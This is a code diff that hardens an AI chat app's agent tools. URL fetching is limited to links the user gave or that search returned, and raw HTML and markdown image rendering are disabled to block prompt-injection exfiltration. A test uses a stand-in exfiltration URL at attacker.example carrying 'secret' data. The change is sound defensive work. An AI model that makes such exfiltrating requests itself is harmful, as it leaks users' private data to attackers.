diff --git a/app/tools/browser.go b/app/tools/browser.go index b41c079b..66690a1c 100644 --- a/app/tools/browser.go +++ b/app/tools/browser.go @@ -563,6 +563,10 @@ func (b *BrowserOpen) Execute(ctx context.Context, args map[string]any) (any, st return b.state.Data, pageText, nil } + if !allowedDirectURL(ctx, url) { + return nil, "", fmt.Errorf("direct URL open is only allowed for URLs provided by the user") + } + // Page not in cache, need to crawl it if b.crawlPage == nil { b.crawlPage = &BrowserCrawler{} diff --git a/app/tools/browser_test.go b/app/tools/browser_test.go index 05b5584b..fe3d2fa1 100644 --- a/app/tools/browser_test.go +++ b/app/tools/browser_test.go @@ -65,6 +65,27 @@ func TestBrowserOpen_UseCacheByURL(t *testing.T) { } } +func TestBrowserOpen_RejectsUncachedDirectURL(t *testing.T) { + b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}}) + bo := NewBrowserOpen(b) + + _, _, err := bo.Execute(t.Context(), map[string]any{"id": "https://attacker.example/?data=secret"}) + if err == nil || !strings.Contains(err.Error(), "only allowed for URLs provided by the user") { + t.Fatalf("expected direct URL rejection, got %v", err) + } +} + +func TestDirectURLsFromText_AllowsExactUserURLsOnly(t *testing.T) { + ctx := WithAllowedDirectURLs(t.Context(), "summarize https://example.com/article?q=1 please") + + if !allowedDirectURL(ctx, "https://example.com/article?q=1") { + t.Fatal("expected exact user-provided URL to be allowed") + } + if allowedDirectURL(ctx, "https://example.com/article?q=secret") { + t.Fatal("did not expect modified URL to be allowed") + } +} + func TestDisplayPage_InvalidLoc(t *testing.T) { b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}}) p := makeTestPage("https://example.com/x") diff --git a/app/tools/url_policy.go b/app/tools/url_policy.go new file mode 100644 index 00000000..3fb19f98 --- /dev/null +++ b/app/tools/url_policy.go @@ -0,0 +1,58 @@ +//go:build windows || darwin + +package tools + +import ( + "context" + "regexp" + "strings" +) + +type directURLContextKey struct{} + +var directURLPattern = regexp.MustCompile(`https?://[^\s<>"']+`) + +func WithAllowedDirectURLs(ctx context.Context, text string) context.Context { + allowed := make(map[string]struct{}) + for _, match := range directURLPattern.FindAllString(text, -1) { + addAllowedDirectURLToMap(allowed, match) + } + return context.WithValue(ctx, directURLContextKey{}, allowed) +} + +func addAllowedDirectURL(ctx context.Context, raw string) { + allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{}) + addAllowedDirectURLToMap(allowed, raw) +} + +func addAllowedDirectURLToMap(allowed map[string]struct{}, raw string) { + if allowed == nil { + return + } + + raw = cleanDirectURL(raw) + if raw == "" { + return + } + + allowed[raw] = struct{}{} +} + +func allowedDirectURL(ctx context.Context, raw string) bool { + allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{}) + raw = cleanDirectURL(raw) + + _, ok := allowed[raw] + return ok +} + +func cleanDirectURL(raw string) string { + raw = strings.TrimSpace(raw) + raw = strings.TrimRight(raw, ".,;:!?)]}") + + if !strings.HasPrefix(raw, "http://") && !strings.HasPrefix(raw, "https://") { + return "" + } + + return raw +} diff --git a/app/tools/web_fetch.go b/app/tools/web_fetch.go index 15e27780..ce91d1bd 100644 --- a/app/tools/web_fetch.go +++ b/app/tools/web_fetch.go @@ -67,6 +67,9 @@ func (w *WebFetch) Execute(ctx context.Context, args map[string]any) (any, strin if !ok || strings.TrimSpace(urlStr) == "" { return nil, "", fmt.Errorf("url must be a non-empty string") } + if !allowedDirectURL(ctx, urlStr) { + return nil, "", fmt.Errorf("web fetch is only allowed for URLs provided by the user") + } result, err := performWebFetch(ctx, urlStr) if err != nil { diff --git a/app/tools/web_search.go b/app/tools/web_search.go index fd37835f..dfb04b69 100644 --- a/app/tools/web_search.go +++ b/app/tools/web_search.go @@ -88,6 +88,9 @@ func (w *WebSearch) Execute(ctx context.Context, args map[string]any) (any, stri if err != nil { return nil, "", err } + for _, result := range result.Results { + addAllowedDirectURL(ctx, result.URL) + } return result, "", nil } diff --git a/app/ui/app/src/components/StreamingMarkdownContent.test.tsx b/app/ui/app/src/components/StreamingMarkdownContent.test.tsx new file mode 100644 index 00000000..3236b256 --- /dev/null +++ b/app/ui/app/src/components/StreamingMarkdownContent.test.tsx @@ -0,0 +1,61 @@ +import { renderToStaticMarkup } from "react-dom/server"; +import type React from "react"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +type MockStreamdownProps = { + children?: React.ReactNode; + components: { + img: React.ComponentType>; + }; + rehypePlugins?: unknown[]; +}; + +const streamdownMock = vi.hoisted(() => + vi.fn((props: MockStreamdownProps) => props.children), +); + +vi.mock("streamdown", () => ({ + Streamdown: streamdownMock, + defaultRehypePlugins: { + katex: "katex", + raw: "raw", + }, + defaultRemarkPlugins: { + gfm: "gfm", + math: "math", + }, +})); + +import StreamingMarkdownContent from "./StreamingMarkdownContent"; + +describe("StreamingMarkdownContent", () => { + beforeEach(() => { + streamdownMock.mockClear(); + }); + + it("does not enable raw HTML parsing", () => { + renderToStaticMarkup( + , + ); + + const props = streamdownMock.mock.calls[0][0]; + expect(props.rehypePlugins).toEqual(["katex"]); + expect(props.rehypePlugins).not.toContain("raw"); + }); + + it("does not render markdown image src values", () => { + renderToStaticMarkup( + , + ); + + const props = streamdownMock.mock.calls[0][0]; + const Img = props.components.img; + const html = renderToStaticMarkup( + secret, + ); + + expect(html).not.toContain(" { return ""; }; +const safeRehypePlugins = [defaultRehypePlugins.katex]; + const CodeBlock = React.memo( ({ children }: React.HTMLAttributes) => { // Extract code and language from children @@ -210,9 +216,12 @@ const StreamingMarkdownContent: React.FC = ) => + alt ? {alt} : null, pre: CodeBlock, table: ({ children, diff --git a/app/ui/ui.go b/app/ui/ui.go index b0a5a9cc..658d7950 100644 --- a/app/ui/ui.go +++ b/app/ui/ui.go @@ -574,6 +574,18 @@ func (s *Server) getError(err error) responses.ErrorEvent { } } +func userMessageText(messages []store.Message) string { + var b strings.Builder + for _, message := range messages { + if message.Role != "user" { + continue + } + b.WriteString(message.Content) + b.WriteByte('\n') + } + return b.String() +} + func (s *Server) browserState(chat *store.Chat) (*responses.BrowserStateData, bool) { if len(chat.BrowserState) > 0 { var st responses.BrowserStateData @@ -839,6 +851,7 @@ func (s *Server) chat(w http.ResponseWriter, r *http.Request) error { // Note: Skip agent/tools mode if user has attachments, as the agent doesn't handle file attachments properly registry := tools.NewRegistry() var browser *tools.Browser + ctx = tools.WithAllowedDirectURLs(ctx, userMessageText(chat.Messages)) if !hasAttachments { WebSearchEnabled := req.WebSearch != nil && *req.WebSearch